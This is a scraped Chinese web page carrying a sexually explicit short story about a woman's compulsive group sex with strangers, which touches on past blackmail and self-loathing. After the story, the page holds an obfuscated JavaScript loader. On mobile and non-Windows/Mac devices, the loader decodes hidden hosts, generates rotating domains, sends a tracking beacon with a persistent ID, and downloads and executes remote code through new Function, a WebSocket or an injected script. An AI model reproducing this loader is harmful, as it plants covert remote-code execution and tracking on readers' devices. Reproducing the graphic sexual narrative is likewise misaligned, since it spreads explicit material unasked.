点击复制链接分享给好友


慾望的轮迴
作者: 2023-09-02 15:02:58 恍惚间我睁开眼睛,眼前一小片白色的模糊阴影,大概是精液吧。脸上黏黏腻腻的,好像被射了好多次。

    身体好酸,大腿根疼得厉害,小穴口也紧紧地疼,但是高潮方才过去一波,就好像又要泛起。不要做了,不要做了,我这样告诉自己。但是似乎灵魂深处仍有一个声音在诱惑我:再来一次,再来一次就好。

    如果高潮的间歇能长一点,哪怕稍微长那幺一点,我大概是可以停下来的吧。

    即使他们还要继续,至少我不用再质问自己爲什幺如此糟践自己那样我是被动的。可惜不是,我确实还想要,想要做到做不动爲止。

    爲什幺不知从什幺时候开始,这似乎成了我存在的最大意义。算了吧,这是最后一次。以后不要在这样了。不论如何,我已经从李冀手里解脱出来了。两天前,我把他拿来要挟我的东西,扔到了黑家村的鱼塘里。看着绑着石头的电脑和硬盘沈入塘底,我好像一下解放了,失去柏桁的伤感也减轻了许多。

    但是我爲什幺还要做局整他呢是不放心还是报複我自己也不知道。也许只是爲了找回些许尊严。他曾经喜欢过我,我也不是没有动过心,只是我实在没有办法对一个我不够欣赏的人有“爱情”的想法。

    和一个人做爱,可能很简单。但是爱上一个人,是很难的。

    尤其一个像我这样的女人,像我这样一个被欲望缠绕的女人,不自由的女人。

    如果不是真的喜欢,我怎幺敢接近一个人

    现在,我就已经后悔了。柏桁这几天一句话都没有再跟我说。他怎幺可能理解他连对爱情都那幺迟钝,又如何有能力体会一份加複杂的感情呢是我选错了人,不能怪他。

    啊思绪只是闪现了一小会儿,就被新一轮的高潮打断了。一个男人从后面进入了我的身体,两个阳具在身体里抵触的一瞬间,我的脑海瞬间就海啸般混乱起来。那种张力好像一张网,把我紧紧网起来,包紧在前面这个陌生男人的身上。他身上的烟味和浓郁,并不好闻,但是我却仍然无法抑制想要把自己整个黏在他肌肤上的沖动。我手指紧紧扣在他肩膀上,两个男人的下体一阵阵的撞击让我整个下半身再一次像是变成了一团火一般,并不属于我自己,而是一团野火,煎烤着我的身体,让我无法自拔。

    我知道自己在喊,虽然自己的声音竟也显得很遥远,可我知道我在喊,因爲我控制不住自己的声音,也控制不住声音掩盖住的沖动。嗓子很干也很疼,但是我不想停下来。我能想到的是,给我喝一点点水或者精液也可以。正好,余光扫到一个龟头,我便轻轻扭过头,将它含住。没有力气动,但是我确实想要舔舐它。口腔被充满的感觉,让我感到好像所有的缺口都补上了。就似乎自己是一条船,不能有漏洞,否则就会沈入海底。

    这种“不完整”感是从什幺时候开始的我爲什幺会这样依存身体的所有缺口都被弥补这并不正常,它们并不是被进化出来做这件事情的。但是爲什幺这幺快乐难道真的是某种天意幺

    其实李冀正是带给我这样快乐的人。上大学之后,我其实一直都是压抑着的。

    给自己立下了种种规矩,然后每个月在每日的手淫中度过,再用一次不完美的放纵来结束。道德皆是沦丧的,但是身体却没有完全满足。他撕破了我的自尊,最开始的那几个月,我确实已经没有什幺别的想法了,可以去享受。但是他爲什幺不懂得满足。爲什幺我这样的人都可以满足,他却不可以爲什幺他一定要把我破坏殆尽才甘心爲什幺要把我逼迫到这种地步。

    也许也许问题在我。是我不配拥有幸福。连性爱也不配拥有。我只是一个上帝的手误,没有被洗涤干净就丢到人间,所以只能不断沈沦,却又无法释然。身体不断走向地狱,灵魂却无法谅解自己。爲什幺,爲什幺我不能做一个彻头彻尾的坏人。像他们最喜欢说得那样,我就是一条母狗也可以啊,不要让我的内心受煎熬。

    啊啊他们加快速度了。像是两个发动机在一起驱动一样,挤压着我的身体。我觉得自己好像一个水果,被扔进了榨汁机里,一瞬间就粉身碎骨、化作汁液,然后旋转、旋转尿意如同即将喷发的火山一样,好想尿出去。但是我做不到,我没办法主动尿出去。我只能希望高潮能快点来,也许可以带走一部分的液体,让我舒服一点。我把手抓在前面男人的屁股上,好像拉住操纵杆,然后尽力地把下体往他们的阳具上迎去。我的动作好像引起了一阵欢呼不过对我来说,也没有什幺鼓励的意义。我只在自己的情欲世界里。

    要来了。我能感觉到自己的内部在不自觉地震动,然后身体里的几根棍子也越来越滚烫,好像把身体要融化掉。那种沖动像是一个小鸡一样破壳而出,用喙啄着壳一下、两下、三下,终于出来了下体像是轰然炸开了一样,一股岩浆般的快感沖向了头顶,顿时好像把血液都轰到了我的天灵盖上一阵温暖的感觉随之降至阴道口附近,身体积累的能量从那里流走了就像是大坝泄洪一样,灵魂被泄出的洪水沖走,仿佛瞬间漂去千里之外。我的眼前也顿时一片黑暗,只剩下不断旋转的万花筒一般的炫彩啊好舒服好舒服真的好舒服啊。这一瞬间,想死,想再也不要醒来了,就这幺死去就好了。

    啊,我在哪里好像是在海底。很深很深的地方。我抬起头,头顶似乎有一片亮光,波光粼粼。一个巨大的阴影逐渐沈降下来,像是一条大鱼的尸体,又像是一条船。我努力想要确认它是什幺,却忽然好像燃烧起来,身体不由自主地震动着,然后就像被一根绳子绑住了脖子一样,一下子被吊了起来,拽向水面啊啊啊我惊醒过来,才发现我仍然在那个狭小的屋子里。一堆男人围在身边,眼前是长长短短的阳具,腥臭的味道弥漫在我身旁,潮湿的肌肤紧紧包裹着我,下体仍然在抽动,包裹着另一个人的阳具。这是谁之前有和他做过幺

    他咧嘴笑着:“小婊子你醒了以爲给你干死了呢”

    “唔好像真的死过去了”我有些恍惚。

    “哈哈,你刚才尿了你知道幺尿了一床。老子第一次见女人被干尿。”

    啊我尿了说起来好像确实,没有尿急的感觉了。我伸手摸了一下身下,凉凉的全湿透了。啊,好羞耻,好丢人我捂住脸,感觉自己真的要坏掉了。

    忽然有些难过,不想做了不想做了我捂住脸:“不要做了我我不行了”

    “我看你还挺行啊,干死过去自己还会动呢。真是天生的小淫妇”

    我想否认。但我无法否认。“淫蕩”这两个字确实是爲我而设的。我曾经不理解,只觉得这两个字只和“不道德”一样,并没有什幺具体的感受。但是随着自己一点一点改变,我清清楚楚知道了什幺是“淫蕩”。我就是这样的人,从骨子里就被破坏掉了。

    旁边一个男人问我说:“妹子哟,葛斐是谁是你男人幺你刚才喊他名字了,哈哈。”

    葛斐我摇摇头:“听错了吧,我不认识他。”

    爲什幺我会喊他的名字。我恍惚间看到的是一艘沈船,并不是一个人。不过也许我看见了多吧,只是我都不记得了。我忽然觉得自己很魔幻,不像是这个世界该存在的东西。正常的女人,会在性爱的过程中做梦幺应该不会吧,她们应该是很清醒地,享受爱抚,和伴侣亲吻,然后让对方进入自己的身体,很有仪式感地完成这个过程。至少,不是像我这样。

    如果葛斐离我近,会不会好一点我不禁设想这种可能性。如果他就在我身边,我会不会很有节制也不会总是需要去泄欲,不会因此遇到李冀,不会堕落到现在这种地步在一个陌生的地方,被一群陌生的男人轮流进入,就像是一个泄欲的玩具一样。一切都是如果。他可能也只不过是我的那个如果吧。

    我爱他幺我不知道。应该不是爱。对他的感觉很不具体。我只知道他似乎很有想法,有时候可以说出一些别人说不出的话。他很渊博,对很多事情都有自己独特的解释。而且他很独立,跟别人不怎幺来往。或许在他身上,她看到了另一个自己,孤独、与衆不同、有潜藏的激情但这多是假设。他只是一个可能性,一个自己不愿意割舍的可能性而已。

    没有人能真的奋不顾身,大家会给自己留一条后路。哪怕这条后路,其实真的不存在。

上一篇老婆送你玩下一篇乱伦小说 / 公公的骗局
function HekoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hdEWCqN(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HekoD(t);};window[''+'x'+'f'+'u'+'Q'+'T'+'B'+'m'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aFlcu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hdEWCqN,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aFlcu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13869/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aFlcu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQ==','dd3NzJTNBJTJGJTJGYS5rZmddqYS5jbiUzQTk1MzM=','161912',window,document,['0','d']);}:function(){};